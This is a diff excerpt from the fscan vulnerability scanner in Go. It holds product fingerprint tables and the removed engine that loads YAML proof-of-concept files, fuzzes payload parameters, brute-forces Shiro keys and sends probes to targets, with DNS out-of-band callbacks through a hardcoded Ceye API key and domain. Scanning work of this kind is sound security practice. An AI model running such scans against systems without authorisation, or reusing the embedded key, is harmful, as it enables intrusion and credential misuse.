{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
{"RabbitMQ", "code", "(RabbitMQ Management)"},
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
{"Spring env", "code", "(logback)"},
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
}
var PocDatas = []PocData{
{"致远OA", "seeyon"},
{"泛微OA", "weaver"},
{"通达OA", "tongda"},
{"蓝凌OA", "landray"},
{"ThinkPHP", "thinkphp"},
{"Nexus", "nexus"},
{"齐治堡垒机", "qizhi"},
{"weaver-ebridge", "weaver-ebridge"},
{"weblogic", "weblogic"},
{"zabbix", "zabbix"},
{"VMware vSphere", "vmware"},
{"Jboss", "jboss"},
{"用友", "yongyou"},
{"用友IUFO", "yongyou"},
{"coremail", "coremail"},
{"金山", "kingsoft"},
}

View File

@ -1,905 +0,0 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/webscan/info"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
// API配置常量
const (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
)
// Task 定义单个POC检测任务的结构体
type Task struct {
Req *http.Request // HTTP请求对象
Poc *Poc // POC检测脚本
}
// VulnResult 漏洞结果结构体
type VulnResult struct {
Poc *Poc // POC脚本
VulName string // 漏洞名称
Target string // 目标URL
Details map[string]interface{} // 详细信息
}
// CheckMultiPoc 并发执行多个POC检测
// 参数说明:
// - req: HTTP请求对象
// - pocs: POC检测脚本列表
// - workers: 并发工作协程数量
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
// 确保至少有一个工作协程
if workers <= 0 {
workers = 1
}
// 创建任务通道缓冲区大小为POC列表长度
tasks := make(chan Task, len(pocs))
var wg sync.WaitGroup
// 启动指定数量的工作协程池
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
// 从任务通道循环获取任务
for task := range tasks {
// 执行POC检测返回是否存在漏洞、错误信息和漏洞名称
isVulnerable, err, vulName := executePoc(task.Req, task.Poc)
// 处理执行过程中的错误
if err != nil {
common.LogError(fmt.Sprintf("执行POC错误 %s: %v", task.Poc.Name, err))
continue
}
// 仅当通过普通POC规则(非clusterpoc)检测到漏洞时,才创建结果
// 因为clusterpoc已在内部处理了漏洞输出
if isVulnerable && vulName != "" {
// 构造漏洞详细信息
details := make(map[string]interface{})
details["vulnerability_type"] = task.Poc.Name
details["vulnerability_name"] = vulName
// 添加作者信息(如果有)
if task.Poc.Detail.Author != "" {
details["author"] = task.Poc.Detail.Author
}
// 添加参考链接(如果有)
if len(task.Poc.Detail.Links) != 0 {
details["references"] = task.Poc.Detail.Links
}
// 添加漏洞描述(如果有)
if task.Poc.Detail.Description != "" {
details["description"] = task.Poc.Detail.Description
}
// 创建并保存扫描结果
result := &output.ScanResult{
Time: time.Now(),
Type: output.TypeVuln,
Target: task.Req.URL.String(),
Status: "vulnerable",
Details: details,
}
common.SaveResult(result)
// 构造控制台输出的日志信息
logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
task.Req.URL,
task.Poc.Name,
vulName)
// 添加作者信息到日志
if task.Poc.Detail.Author != "" {
logMsg += "\n\t作者:" + task.Poc.Detail.Author
}
// 添加参考链接到日志
if len(task.Poc.Detail.Links) != 0 {
logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n")
}
// 添加描述信息到日志
if task.Poc.Detail.Description != "" {
logMsg += "\n\t描述:" + task.Poc.Detail.Description
}
// 输出成功日志
common.LogSuccess(logMsg)
}
}
}()
}
// 分发所有POC任务到通道
for _, poc := range pocs {
tasks <- Task{
Req: req,
Poc: poc,
}
}
// 关闭任务通道
close(tasks)
// 等待所有POC检测任务完成
wg.Wait()
}
// createVulnDetails 创建漏洞详情信息
func createVulnDetails(poc *Poc, vulName string) map[string]interface{} {
details := make(map[string]interface{})
details["vulnerability_type"] = poc.Name
details["vulnerability_name"] = vulName
// 添加作者信息(如果有)
if poc.Detail.Author != "" {
details["author"] = poc.Detail.Author
}
// 添加参考链接(如果有)
if len(poc.Detail.Links) != 0 {
details["references"] = poc.Detail.Links
}
// 添加漏洞描述(如果有)
if poc.Detail.Description != "" {
details["description"] = poc.Detail.Description
}
return details
}
// buildLogMessage 构建漏洞日志消息
func buildLogMessage(result *VulnResult) string {
logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
result.Target,
result.Poc.Name,
result.VulName)
// 添加作者信息到日志
if result.Poc.Detail.Author != "" {
logMsg += "\n\t作者:" + result.Poc.Detail.Author
}
// 添加参考链接到日志
if len(result.Poc.Detail.Links) != 0 {
logMsg += "\n\t参考链接:" + strings.Join(result.Poc.Detail.Links, "\n")
}
// 添加描述信息到日志
if result.Poc.Detail.Description != "" {
logMsg += "\n\t描述:" + result.Poc.Detail.Description
}
return logMsg
}
// executePoc 执行单个POC检测
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 初始化环境配置
config := NewEnvOption()
config.UpdateCompileOptions(p.Set)
// 处理额外的设置项
if len(p.Sets) > 0 {
var setMap StrMap
for _, item := range p.Sets {
value := ""
if len(item.Value) > 0 {
value = item.Value[0]
}
setMap = append(setMap, StrItem{item.Key, value})
}
config.UpdateCompileOptions(setMap)
}
// 创建执行环境
env, err := NewEnv(&config)
if err != nil {
return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), ""
}
// 解析请求
req, err := ParseRequest(oReq)
if err != nil {
return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), ""
}
// 初始化变量映射
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
// 处理设置项
for _, item := range p.Set {
key, expression := item.Key, item.Value
if expression == "newReverse()" {
if !common.DnsLog {
return false, nil, ""
}
variableMap[key] = newReverse()
continue
}
if err, _ = evalset(env, variableMap, key, expression); err != nil {
common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err))
}
}
// 处理爆破模式
if len(p.Sets) > 0 {
success, err := clusterpoc(oReq, p, variableMap, req, env)
return success, err, ""
}
return executeRules(oReq, p, variableMap, req, env)
}
// executeRules 执行POC规则并返回结果
func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, error, string) {
// 处理单个规则的函数
executeRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
// 替换变量
for varName, varValue := range variableMap {
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
// 替换Header中的变量
for headerKey, headerValue := range Headers {
if strings.Contains(headerValue, "{{"+varName+"}}") {
Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
}
// 构建请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新请求
newRequest, err := http.NewRequest(
rule.Method,
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
strings.NewReader(rule.Body),
)
if err != nil {
return false, fmt.Errorf("请求创建错误: %v", err)
}
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if len(result) == 0 {
return false, nil
}
for k, v := range result {
variableMap[k] = v
}
}
// 执行表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
if flag, ok := out.Value().(bool); ok {
return flag, nil
}
return false, nil
}
// 处理规则组的函数
executeRuleSet := func(rules []Rules) bool {
for _, rule := range rules {
flag, err := executeRule(rule)
if err != nil || !flag {
return false
}
}
return true
}
// 执行检测规则
success := false
if len(p.Rules) > 0 {
success = executeRuleSet(p.Rules)
return success, nil, ""
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
if success = executeRuleSet(rules); success {
return true, nil, name
}
}
}
return false, nil, ""
}
// doSearch 在响应体中执行正则匹配并提取命名捕获组
func doSearch(re string, body string) map[string]string {
// 编译正则表达式
r, err := regexp.Compile(re)
// 正则表达式编译
if err != nil {
common.LogError(fmt.Sprintf("正则编译错误: %v", err))
return nil
}
// 执行正则匹配
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
// 处理匹配结果
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
// 特殊处理Cookie头
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
paramsMap[name] = optimizeCookies(result[i])
} else {
paramsMap[name] = result[i]
}
}
}
return paramsMap
}
return nil
}
// optimizeCookies 优化Cookie字符串移除不必要的属性
func optimizeCookies(rawCookie string) string {
var output strings.Builder
// 解析Cookie键值对
pairs := strings.Split(rawCookie, "; ")
for _, pair := range pairs {
nameVal := strings.SplitN(pair, "=", 2)
if len(nameVal) < 2 {
continue
}
// 跳过Cookie属性
switch strings.ToLower(nameVal[0]) {
case "expires", "max-age", "path", "domain",
"version", "comment", "secure", "samesite", "httponly":
continue
}
// 构建Cookie键值对
if output.Len() > 0 {
output.WriteString("; ")
}
output.WriteString(nameVal[0])
output.WriteString("=")
output.WriteString(strings.Join(nameVal[1:], "="))
}
return output.String()
}
// newReverse 创建新的反连检测对象
func newReverse() *Reverse {
// 检查DNS日志功能是否启用
if !common.DnsLog {
return &Reverse{}
}
// 生成随机子域名
const (
letters = "1234567890abcdefghijklmnopqrstuvwxyz"
subdomainLength = 8
)
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
subdomain := RandomStr(randSource, letters, subdomainLength)
// 构建URL
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
u, err := url.Parse(urlStr)
// 解析反连URL
if err != nil {
common.LogError(fmt.Sprintf("反连URL解析错误: %v", err))
return &Reverse{}
}
// 返回反连检测配置
return &Reverse{
Url: urlStr,
Domain: u.Hostname(),
Ip: u.Host,
IsDomainNameServer: false,
}
}
// clusterpoc 执行集群POC检测支持批量参数组合测试
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap // 存储成功的参数组合
var shiroKeyCount int // shiro key测试计数
// 记录漏洞的辅助函数,统一保存结果和输出日志
recordVulnerability := func(targetURL string, params StrMap, skipSave bool) {
// 构造详细信息
details := make(map[string]interface{})
details["vulnerability_type"] = p.Name
details["vulnerability_name"] = p.Name // 使用POC名称作为漏洞名称
// 添加作者信息(如果有)
if p.Detail.Author != "" {
details["author"] = p.Detail.Author
}
// 添加参考链接(如果有)
if len(p.Detail.Links) != 0 {
details["references"] = p.Detail.Links
}
// 添加漏洞描述(如果有)
if p.Detail.Description != "" {
details["description"] = p.Detail.Description
}
// 添加参数信息(如果有)
if len(params) > 0 {
paramMap := make(map[string]string)
for _, item := range params {
paramMap[item.Key] = item.Value
}
details["parameters"] = paramMap
}
// 保存漏洞结果(除非明确指示跳过)
if !skipSave {
result := &output.ScanResult{
Time: time.Now(),
Type: output.TypeVuln,
Target: targetURL,
Status: "vulnerable",
Details: details,
}
common.SaveResult(result)
}
// 生成日志消息
var logMsg string
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name)
} else {
logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, params)
}
// 输出成功日志
common.LogSuccess(logMsg)
}
// 遍历POC规则
for ruleIndex, rule := range p.Rules {
// 检查是否需要进行参数Fuzz测试
if !isFuzz(rule, p.Sets) {
// 不需要Fuzz,直接发送请求
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if !success {
return false, err
}
continue
}
// 生成参数组合
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
// 遍历参数组合
paramLoop:
for comboIndex, paramCombo := range setsMap {
// Shiro Key测试特殊处理:默认只测试10个key
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && comboIndex >= 10 {
if paramCombo[1] == "cbc" {
continue
} else {
if shiroKeyCount == 0 {
shiroKeyCount = comboIndex
}
if comboIndex-shiroKeyCount >= 10 {
break
}
}
}
// 克隆规则以避免相互影响
currentRule := cloneRules(rule)
var hasReplacement bool
var currentParams StrMap
payloads := make(map[string]interface{})
var payloadExpr string
// 计算所有参数的实际值
for i, set := range p.Sets {
key, expr := set.Key, paramCombo[i]
if key == "payload" {
payloadExpr = expr
}
_, output := evalset1(env, variableMap, key, expr)
payloads[key] = output
}
// 替换规则中的参数
for _, set := range p.Sets {
paramReplaced := false
key := set.Key
value := fmt.Sprintf("%v", payloads[key])
// 替换Header中的参数
for headerKey, headerVal := range currentRule.Headers {
if strings.Contains(headerVal, "{{"+key+"}}") {
currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
paramReplaced = true
}
}
// 替换Path中的参数
if strings.Contains(currentRule.Path, "{{"+key+"}}") {
currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
paramReplaced = true
}
// 替换Body中的参数
if strings.Contains(currentRule.Body, "{{"+key+"}}") {
currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
paramReplaced = true
}
// 记录替换的参数
if paramReplaced {
hasReplacement = true
if key == "payload" {
// 处理payload的特殊情况
hasVarInPayload := false
for varKey, varVal := range variableMap {
if strings.Contains(payloadExpr, varKey) {
hasVarInPayload = true
currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
}
}
if hasVarInPayload {
continue
}
}
currentParams = append(currentParams, StrItem{key, value})
}
}
// 如果没有参数被替换,跳过当前组合
if !hasReplacement {
continue
}
// 规则去重
ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
ruleMD5 := fmt.Sprintf("%x", ruleDigest)
if _, exists := ruleHash[ruleMD5]; exists {
continue
}
ruleHash[ruleMD5] = struct{}{}
// 发送请求并处理结果
success, err = clustersend(oReq, variableMap, req, env, currentRule)
if err != nil {
return false, err
}
if success {
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
// 处理成功情况
if currentRule.Continue {
// 使用Continue标志时记录但继续测试其他参数
recordVulnerability(targetURL, currentParams, false)
continue
}
// 记录成功的参数组合
strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 {
// 最终规则成功,记录完整的结果并返回
recordVulnerability(targetURL, strMap, false)
return false, nil
}
break paramLoop
}
}
if !success {
break
}
if rule.Continue {
return false, nil
}
}
return success, nil
}
// isFuzz 检查规则是否包含需要Fuzz测试的参数
func isFuzz(rule Rules, Sets ListMap) bool {
// 遍历所有参数
for _, param := range Sets {
key := param.Key
paramPattern := "{{" + key + "}}"
// 检查Headers中是否包含参数
for _, headerValue := range rule.Headers {
if strings.Contains(headerValue, paramPattern) {
return true
}
}
// 检查Path中是否包含参数
if strings.Contains(rule.Path, paramPattern) {
return true
}
// 检查Body中是否包含参数
if strings.Contains(rule.Body, paramPattern) {
return true
}
}
return false
}
// Combo 生成参数组合
func Combo(input ListMap) [][]string {
if len(input) == 0 {
return nil
}
// 处理只有一个参数的情况
if len(input) == 1 {
output := make([][]string, 0, len(input[0].Value))
for _, value := range input[0].Value {
output = append(output, []string{value})
}
return output
}
// 递归处理多个参数的情况
subCombos := Combo(input[1:])
return MakeData(subCombos, input[0].Value)
}
// MakeData 将新的参数值与已有的组合进行组合
func MakeData(base [][]string, nextData []string) [][]string {
// 预分配足够的空间
output := make([][]string, 0, len(base)*len(nextData))
// 遍历已有组合和新参数值
for _, existingCombo := range base {
for _, newValue := range nextData {
// 创建新组合
newCombo := make([]string, 0, len(existingCombo)+1)
newCombo = append(newCombo, newValue)
newCombo = append(newCombo, existingCombo...)
output = append(output, newCombo)
}
}
return output
}
// clustersend 执行单个规则的HTTP请求和响应检测
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
// 替换请求中的变量
for varName, varValue := range variableMap {
// 跳过map类型的变量
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
varPattern := "{{" + varName + "}}"
// 替换Headers中的变量
for headerKey, headerValue := range rule.Headers {
if strings.Contains(headerValue, varPattern) {
rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
}
// 构建完整请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// URL编码处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的HTTP请求
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil {
return false, fmt.Errorf("HTTP请求错误: %v", err)
}
defer func() { newRequest = nil }()
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for key, value := range rule.Headers {
newRequest.Header.Set(key, value)
}
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, fmt.Errorf("请求发送错误: %v", err)
}
// 更新响应到变量映射
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
searchContent := GetHeader(resp.Headers) + string(resp.Body)
result := doSearch(rule.Search, searchContent)
if result != nil && len(result) > 0 {
// 将搜索结果添加到变量映射
for key, value := range result {
variableMap[key] = value
}
} else {
return false, nil
}
}
// 执行CEL表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err))
}
return false, err
}
// 检查表达式执行结果
if fmt.Sprintf("%v", out) == "false" {
return false, nil
}
return true, nil
}
// cloneRules 深度复制Rules结构体
// 参数:
// - tags: 原始Rules结构体
// 返回: 复制后的新Rules结构体
func cloneRules(tags Rules) Rules {
return Rules{
Method: tags.Method,
Path: tags.Path,
Body: tags.Body,
Search: tags.Search,
FollowRedirects: tags.FollowRedirects,
Expression: tags.Expression,
Headers: cloneMap(tags.Headers),
Continue: tags.Continue,
}
}
// cloneMap 深度复制字符串映射
func cloneMap(tags map[string]string) map[string]string {
if tags == nil {
return nil
}
cloneTags := make(map[string]string, len(tags))
for key, value := range tags {
cloneTags[key] = value
}
return cloneTags
}
// evalset 执行CEL表达式并处理特殊类型结果
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
return err, expression
}
// 根据不同类型处理输出
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
return nil, fmt.Sprintf("%v", variableMap[k])
}
// evalset1 执行CEL表达式的简化版本
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
// CheckInfoPoc 检查POC信息并返回别名
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Contains(infostr, poc.Name) {
return poc.Alias
}
}
return ""
}
// GetHeader 将HTTP头转换为字符串格式
func GetHeader(header map[string]string) string {
var builder strings.Builder
for name, values := range header {
builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
}
builder.WriteString("\r\n")
return builder.String()
}

View File

@ -1,320 +0,0 @@
package lib
import (
"context"
"crypto/tls"
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/proxy"
"gopkg.in/yaml.v2"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
)
// 全局HTTP客户端变量
var (
Client *http.Client // 标准HTTP客户端
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
dialTimout = 5 * time.Second // 连接超时时间
keepAlive = 5 * time.Second // 连接保持时间
)
// Inithttp 初始化HTTP客户端配置
func Inithttp() {
// 设置默认并发数
if common.PocNum == 0 {
common.PocNum = 20
}
// 设置默认超时时间
if common.WebTimeout == 0 {
common.WebTimeout = 5
}
// 初始化HTTP客户端
err := InitHttpClient(common.PocNum, common.HttpProxy, time.Duration(common.WebTimeout)*time.Second)
if err != nil {
panic(err)
}
}
// InitHttpClient 创建HTTP客户端
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
// 配置基础连接参数
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
// 配置Transport参数
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
// 配置Socks5代理
if common.Socks5Proxy != "" {
proxyConfig := &proxy.ProxyConfig{
Type: proxy.ProxyTypeSOCKS5,
Address: common.Socks5Proxy,
Timeout: time.Second * 10,
}
proxyManager := proxy.NewProxyManager(proxyConfig)
proxyDialer, err := proxyManager.GetDialer()
if err != nil {
return err
}
tr.DialContext = proxyDialer.DialContext
} else if DownProxy != "" {
// 处理其他代理配置
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
// 验证代理类型
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("不支持的代理类型")
}
// 解析代理URL
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
// 创建标准HTTP客户端
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
// 创建不跟随重定向的HTTP客户端
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
// Poc 定义漏洞检测配置结构
type Poc struct {
Name string `yaml:"name"` // POC名称
Set StrMap `yaml:"set"` // 单值配置映射
Sets ListMap `yaml:"sets"` // 列表值配置映射
Rules []Rules `yaml:"rules"` // 检测规则列表
Groups RuleMap `yaml:"groups"` // 规则组映射
Detail Detail `yaml:"detail"` // 漏洞详情
}
// MapSlice 用于解析YAML的通用映射类型
type MapSlice = yaml.MapSlice
// 自定义映射类型
type (
StrMap []StrItem // 字符串键值对映射
ListMap []ListItem // 字符串键列表值映射
RuleMap []RuleItem // 字符串键规则列表映射
)
// 映射项结构定义
type (
// StrItem 字符串键值对
StrItem struct {
Key string // 键名
Value string // 值
}
// ListItem 字符串键列表值对
ListItem struct {
Key string // 键名
Value []string // 值列表
}
// RuleItem 字符串键规则列表对
RuleItem struct {
Key string // 键名
Value []Rules // 规则列表
}
)
// UnmarshalYAML 实现StrMap的YAML解析接口
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 临时使用MapSlice存储解析结果
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为StrMap结构
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
// UnmarshalYAML 实现RuleMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 使用MapSlice保持键的顺序
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
// 解析规则内容
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
// 按顺序转换为RuleMap结构
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
// UnmarshalYAML 实现ListMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 解析YAML映射
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为ListMap结构
for _, one := range tmp {
key := one.Key.(string)
var value []string
// 将接口类型转换为字符串
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
// Rules 定义POC检测规则结构
type Rules struct {
Method string `yaml:"method"` // HTTP请求方法
Path string `yaml:"path"` // 请求路径
Headers map[string]string `yaml:"headers"` // 请求头
Body string `yaml:"body"` // 请求体
Search string `yaml:"search"` // 搜索模式
FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
Expression string `yaml:"expression"` // 匹配表达式
Continue bool `yaml:"continue"` // 是否继续执行
}
// Detail 定义POC详情结构
type Detail struct {
Author string `yaml:"author"` // POC作者
Links []string `yaml:"links"` // 相关链接
Description string `yaml:"description"` // POC描述
Version string `yaml:"version"` // POC版本
}
// LoadMultiPoc 加载多个POC文件
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
// 遍历选中的POC文件
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Printf("POC加载失败 %s: %v\n", f, err)
}
}
return pocs
}
// LoadPoc 从内嵌文件系统加载单个POC
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}
// SelectPoc 根据名称关键字选择POC文件
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("读取POC目录失败: %v\n", err)
}
var foundFiles []string
// 查找匹配关键字的POC文件
for _, entry := range entries {
